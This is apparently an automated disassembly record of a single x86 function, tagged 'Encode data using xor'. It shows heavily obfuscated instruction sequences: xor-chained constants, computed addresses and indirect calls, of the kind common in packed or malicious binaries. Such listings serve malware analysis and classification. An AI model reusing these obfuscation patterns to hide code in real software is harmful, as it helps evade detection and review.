Function at 0x405eb3
Capabilities:
Encode data using xor

Disassembly:
stosb byte es:[edi], al
or bl, bl
jne 0x405e8e
xor edx, edx
jmp 0x405e98
or edx, edx
jge 0x405e98
mov al, 0x2d
neg edx
jmp 0x405e9e
or ah, ah
je 0x405e9f
mov al, ah
stosb byte es:[edi], al
xchg edx, eax
push eax
mov ebx, esp
xor edx, edx
div dword [0x405d0c]
add dl, 0x30
mov byte [ebx], dl
inc ebx
dec ecx
or edi, dword [edx + 0xdbf430a]
xor edx, 0x2ef42d2
push edx
mov ebx, 0x10456640
mov edx, 0xc200101
xor ebx, edx
pop ecx
xor ebx, ecx
push 0x3a1fbd97
mov ecx, 0x296a0a66
pop esi
xor ecx, esi
xor ebx, ecx
mov eax, dword [ebx]
mov ebx, 0x76d8de8d
mov esi, 0x74f09f89
xor esi, ebx
push 0x7442e43b
mov edx, 0x50c6e4fb
pop ebx
xor edx, ebx
xor esi, edx
mov ebx, 0x26284040
mov edi, 0x840184
xor ebx, edi
xor esi, ebx
mov edx, esi
mov edi, edx
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], edi
mov edi, esp
add esp, 0xfffffffc
mov dword [esp], edi
pop ebx
mov edi, 4
sub esp, edi
xor edx, edx
add edx, esp
mov dword [edx], ebx
mov esi, 0x66d31079
xor esi, 0x5a9601af
push esi
mov esi, 0x7cc3d9a0
mov ebx, 0x11ccfd4b
xor ebx, esi
pop edx
xor ebx, edx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ebx
mov edi, 0x1003125
mov edx, 0x40000050
xor edi, edx
mov ebx, 0x10020000
mov edx, 0x480408
xor ebx, edx
xor edi, ebx
pop ecx
xor edi, ecx
xor edx, edx
add edx, edi
mov esi, 4
sub esp, esi
mov dword [esp], edx
mov edi, 0x20c0312
mov ebx, 0x4d1406c
xor edi, ebx
mov esi, 0x2155016
mov ebx, 0x4c88768
xor esi, ebx
xor esi, edi
mov edx, 0x247056e5
xor edx, 0x5867a2bf
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x7c17f45a
and edx, 0x83e80ba5
or edx, ecx
xor esi, edx
mov ebx, 0xfffffffc
add esp, ebx
xor edi, edi
add edi, esp
mov dword [edi], esi
push 0x175a5bee
mov ebx, 0x4175fe30
pop esi
xor ebx, esi
mov edx, 0xbaadffc
mov edi, 0x5d857a22
xor edi, edx
xor edi, ebx
push 0xf59b166
mov ecx, 0x5c0ba4cc
pop ebx
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0x531205aa
and ecx, 0xacedfa55
or ecx, ebx
xor edi, ecx
mov esi, 0
xor esi, edi
mov ebx, esi
push ebx
call eax
pop edx
push 0x552aace5
mov esi, 0x6a881dff
pop edi
xor esi, edi
mov ebx, 0x5ff3002
xor ebx, 0x4b3837cb
xor ebx, esi
push 0x16f6eac8
mov esi, 0x11ce14bb
pop edx
xor esi, edx
xor ebx, esi
mov edx, 0x765d4b85
xor ebx, edx
mov esi, 0x6bf6fd3a
xor esi, 0x435da6cd
mov edi, 0x5ca56c16
xor esi, edi
xor esi, 0x744e1fdd
mov edi, 0x47b056c1
xor edi, 0xcdd0503
push edi
mov edi, 0x1ef78ac9
mov eax, 0x559ac84a
xor eax, edi
pop ecx
xor eax, ecx
xor esi, eax
mov edx, 0x17d55e0b
xor edx, 0xaab538
push edx
mov edi, 0x16067100
mov edx, 0x1398010
xor edi, edx
pop ecx
xor edi, ecx
push 0x17a1aeb5
mov eax, 0x17a1efb5
pop edx
xor eax, edx
mov edx, 0x1f8b29ed
mov ecx, 0x1f8b29ed
xor ecx, edx
xor eax, ecx
xor edi, eax
mov edx, ebx
mov ecx, edx
mov edx, ecx
mov eax, edx
mov ecx, 0
xor ecx, eax
add esp, 0xfffffffc
mov dword [esp], ecx
mov ecx, 0x4a365e3a
xor ecx, 0x4a365e3e
sub esp, ecx
xor eax, eax
add eax, esp
mov dword [eax], edi
xor ebx, ebx
mov bl, byte [esi]
add edi, ebx
mov bl, byte [edi]
pop edi
mov byte [esi], bl
mov ecx, 0x200041a
mov edx, 0x50092200
xor ecx, edx
mov eax, 0x2d729181
mov edx, 0x80844864
xor eax, edx
xor eax, ecx
add esi, eax
pop ebx
mov edx, 0x429c102
mov eax, 0x18800228
xor edx, eax
push 0x80514740
mov ecx, 0x63077b95
pop eax
xor ecx, eax
xor edx, ecx
add ebx, edx
mov edx, ebx
mov eax, edx
xor ecx, ecx
add ecx, eax
and ecx, ecx
jne 0x4060ad
mov ecx, 0x23474bee
xor ecx, 0x1117e759
mov eax, 0xa5ac4aa
xor ecx, eax
xor ecx, 0x3d062783
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ecx
mov ecx, 0x48680658
mov edx, 0x4dfbe3c9
xor edx, ecx
mov esi, edx
xor esi, 0xffffffff
and esi, 0xdf9c56
and edx, 0xff2063a9
or edx, esi
pop ebx
xor edx, ebx
call edx
pop ecx
pop ecx
ret